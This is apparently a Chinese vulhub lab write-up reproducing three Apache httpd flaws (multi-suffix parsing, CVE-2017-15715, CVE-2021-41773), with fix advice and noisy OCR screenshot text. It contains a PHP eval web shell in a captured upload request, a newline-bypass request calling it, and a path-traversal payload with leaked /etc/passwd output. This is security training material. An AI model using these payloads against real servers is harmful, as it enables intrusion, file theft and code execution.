一、Apache
[image: ]
Apache(音译为阿帕奇)是世界使用排名第一的Web服务器软件。它可以运行在几乎所有广泛使用的计算机平台上，由于其跨平台和安全性被广泛使用，是最流行的Web服务器端软件之一。
二、多后缀解析漏洞
漏洞描述
apache多后缀解析漏洞（apache_parsing_vulnerability）
vulhub/httpd/apache_parsing_vulnerability
apahe解析文件时候有一特性，Apache默认一个文件可以有多个以点分割的后缀，apache会从最右边开始识别其后缀名，如遇无法识别的后缀名则依次往左进行识别。
如果运维人员给.php后缀的文件添加了处理程序 AddHandler application/x-httpd-php .php 那么在有多个后缀的情况下，只要文件含有.php后缀那么该文件就会被识别为PHP文件进行解析。
影响范围
全版本
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd ./httpd/apache_parsing_vulnerability/
root@ubuntu:~/vulhub/httpd/apache_parsing_vulnerability# docker compose up -d
[image: ]
首先准备一个shell.php木马
[image: ]
直接上传shell.php，显示类型不正确
[image: ]
[image: ]
在后缀名.php后面加上.jpg，再次进行上传
[image: ]
上传成功
[image: ]
对文件进行访问传参
[image: ]
修复建议
通过正则方式来对其进行限制；在配置文件中添加如 匹配样式为 .php. 的文件并拒绝访问
三、CVE-2017-15715
漏洞描述
换行解析漏洞
apache 在修复第一个后缀名解析漏洞时，用正则来匹配后缀。在解析 php 时 xxx.php\x0A 将被按照 php 后缀进行解析，导致绕过一些服务器的安全策略。
影响范围
2.4.0~2.4.29 版本
漏洞原理
解析漏洞的根本原因就是这个 $ ，正则表达式中，我们都知道 $ 用来匹配字符串结尾位置.
$符号: 匹配输入字符串的结尾位置。如果设置了 RegExp 对象的 Multiline 属性，则 $ 也匹配 '\n' 或 '\r'。 要匹配 $ 字符本身，请使用 \$。
如果设置MULTILINE标示，就当作换符处理，如果不设置就当作一行文本处理
打开httpd-php.conf,通过正则匹配到$结尾，刚刚那个只要有.php就解析
[image: ]
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd ./httpd/CVE-2017-15715/
root@ubuntu:~/vulhub/httpd/CVE-2017-15715# docker compose up -d
[image: ]
查看index.php的后端源码
[image: ]
采用黑名单的形式，如果文件后缀名不在名单内即可上传，所以 a.php\0A不在黑名单列表中，可以上传。
但是0A是换行符，所以apache会直接忽略，将其当成php来执行。
上传shell.php进行抓包
[image: ]
[image: ]
通过16进制在abc.php换为一个oa换行符
[image: ]
[image: ]
0d换为0a
[image: ]
放包后页面显示空白
[image: ]
访问abc.php%oa并进行传参
[image: ]
修复建议
升级版本
四、CVE-2021-41773
漏洞描述
路径遍历漏洞，如果文档根目录以外的文件不受 require all denied 保护，则攻击者可以访问这些文件。
影响范围
2.4.49 版本
漏洞原理
在 Apache HTTP Server 2.4.49 版本中，在对用户发送的请求中的路径参数进行规范化时，其使用的 ap_normalize_path函数会对路径参数先进行 url 解码，然后判断是否存在 ../的路径穿越符。
当检测到路径中存在 %字符时，若其紧跟的两个字符是十六进制字符，则程序会对其进行 url 解码，将其转换成标准字符，如 %2e会被转换为 .
若转换后的标准字符为 .，此时程序会立即判断其后两字符是否为 ./，从而判断是否存在未经允许的 ../路径穿越行为。
所以路径中存在 %2e./形式，程序就会检测到路径穿越符。
然而，当出现 .%2e/或 %2e%2e/形式，程序就不会将其检测为路径穿越符。
原因是遍历到第一个 .字符时，程序检测到其后两字符为 %2而不是 ./，就不会将其判断为 ../。
因此，攻击者可以使用 .%2e/或 %2e%2e/绕过程序对路径穿越符的检测，从而读取位于 Apache 服务器 web 目录以外的其他文件，或者读取 web 目录中的脚本文件源码，或者在开启了 cgi 或 cgid 的服务器上执行任意命令。
漏洞复现
进入靶场环境，启动容器
root@ubuntu:~/vulhub# cd ./httpd/CVE-2021-41773/
root@ubuntu:~/vulhub/httpd/CVE-2021-41773# docker compose up -d
访问该poc路径
 /icons/.%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
[image: ]
修复建议
升级到 Apache HTTP Server 2.4.51 及以上版本
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System

Linux a27dd5ad2b36 5.15.0-60-generic #66-

Build Date

May 23 2023 09:41:46

Build System

Linux d4bc11463019 5.10.0-13-cloud-amd64 -

Configure Command

'./configure' '-—build=x86_64-linux-gnu' '——w
scan—dir=/usr/local/etc/php/conf.d' '~—enabl
enable—ftp' '-—enable-mbstring' '-—enable-m:
with-pdo-sqlite=/usr' '=—with-sqlite3=/usr' '-
'——with-zlib' '--disable-phpdbg' '--with—peal
with-apxs2' 'build_alias=x86_64-linux-gnu'

Server API Apache 2.0 Handler
Virtual Directory Support disabled
Configuration File (php.ini) Path /usr/local/etc/php
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LoadFile " pstudy/PHPTutorial/php/php-5.5.38/
<FilesMatc
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root@cloud:~/vulhub/httpd/CVE-2017-15715# cat +index.php
<?php
if(isset(S_FILES['file'])) {

$name = basename($_POST['name']);

ext pathinfo($Sname, PATHINFO EXTENSION) ;

if(in_array(Sext, ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'l)) {
exit('bad file');

}
move_uploaded_file($_FILES['file']['tmp_name'], './' . $name);

<!DOCTYPE html>

<html>
<head>
<title>Upload</title>
</head>
<body>
<form method="POST" enctype="multipart/form-data">
<p>
<label>file:<input type="file" name="file"></label>
</p>
<p>
<label>filename:<input type="text" name="name" value="evil.php"></la
</p>
<input type="submit">
</form>
</body>
</html>
<?php
}
7>

root@cloud:~/vulhub/httpd/CVE-2017-15715# I
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Pretty Hex \n
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POST / HTTP/1.1

Host: 116.63.181.158:8080

Content-Length: 309

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

Origin: http://116.63.181.158:8080

Content-Type: multipart/form-data; boundary=-——-WebKitFormBoundaryBpSWi5Ce
User—-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/53
Edg/112.0.1722.48

Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, i
Referer: http://116.63.181.158:8080/

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

Cookie: JSESSIONID=120652DD1955BE7A5360CEA163540819

Connection: close

—————— WebKitFormBoundaryBpSWi5CenICH3vgw
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: text/php

<?php
eval($_REQUEST[8]);
—————— WebKitFormBoundaryBpSWi5CenICH3vgw

Content-Disposition: form-data; name="name"

abc.php
—————— WebKitFormBoundaryBpSWi5CenICH3vgw——
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Pretty WsEVVE Hex

1 POST / HTTP/Y.

2 Host: 116.63.181.

3 Content-Length: 309

4 Cache-Control: max—age=0

5 Upgrade-Insecure-Requests: 1

6 Origin: http://116.63.181.158:8080

7 Content-Type: multipart/form-data; boundary=———-WebKitFormBoundaryBpSWi5CenICH3vgw

8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 0S X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko)
Edg/112.0.1722.48

9 Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/webp, image/apng,*/*;q=0.8,appl

0 Referer: http://116.63.181.158:8080/

1 Accept-Encoding: gzip, deflate

2 Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6

3 Cookie: JSESSIONID=120652DD1955BE7A5360CEA163540819

4 Connection: close

23080

6 ————- WebKitFormBoundaryBpSWi5CenICH3vgw

7 Content-Disposition: form-data; name="file"; filename="shell.php"
8 Content-Type: text/php

9

0 <?php

1 eval($_REQUEST[8]1);

4 —————- WebKitFormBoundaryBpSWi5CenICH3vgw
Content-Disposition: form-data; name="name"

—————— ebK1itFormBoundaryBpSWi5CenICH3vgw——
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A FEZL | 116.63.181.158:8080/abc.php%0a?8=phpinfo();

System Linux 8e4a3457a4ec 5.15.0-60-generic #66-Ubuntu SMP F
2023 x86_64

Build Date Aug 10 2016 21:02:47

Configure './configure' '-—with—config—file-path=/usr/local/etc/php' '-

Command scan—dir=/usr/local/etc/php/conf.d' '--disable-cgi' '-—enak

mbstring' '——enable-mysqlnd' '--with-curl' '--with-libedit" *
with-zlib' '-—with-apxs2'

Server API Apache 2.0 Handler

Virtual Directory disabled
Support
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GET| /icons/. %2e/%2e%2e/%2e%2e/%2ek2e/ ete/passwd HITP/1. 1

! 4 Last-Modified: Mon, 27 Sep 2021 00:00:00 GMT
2 Host: 192. 168. 124. 130:8080 5 BTag: “39e-5ceeecT356000”
3 Accept-Language: zh—CN, zh;q=0.9 6 Accept-Ranges: bytes
4 Upgrade-Insecure-Requests: 1 7 Content-Length: 926
5 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 g Keep-Alive: timeout=5, max=100
(KHTML, 1like Gecko) Chrome/145.0.0.0 Safari/537.36 9 Connection: Keep-Alive
6 Sec—Purpose: prefetch;prerender 0
7 Accept: 100t:x:0:0:r00t:/T00t :/bin/bash

1
1
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, image/w
ebp, image/apng, */*;q=0. 8, application/signed-exchange;v=b3;q=0. 7 1

8 Accept-Encoding: gzip, deflate, br 1
1

1

1

1

1:daemon: /usr/shin:/usr/sbin/nologin
bin: in:/bin:/usr/shin/nologin
sys:x:3:3:sys:/dev:/usr/shin/nologin
65534 :sync:/bin:/bin/sync

9 Cookie: JSESSIONID=B564AA5A218C45B874232789603D6E00
0 Connection:. keepzalive.

ar/mail:/usr/shin/nologin

20 news:x:9:9:news:/var/spool/news:/usr/shin/nologin

21 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin

13:proxy:/bin:/usr/shin/nologin

23 www—-data:x:33:33 :www-data:/var/www:/usr/sbin/nologin

24 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

25 list:x:38 Mailing List Manager:/var/list:/usr/shin/nologin

26 irc:x:39:39:ired:/var/run/ired: /usr/shin/nologin

27 gnats:x:41:41:Gnats Bug-Reporting System (admin) :/var/lib/gnats:/
shin/nologin

28 nobody :x:65534:65534 :nobody : /nonexistent:/usr/sbin/nologin
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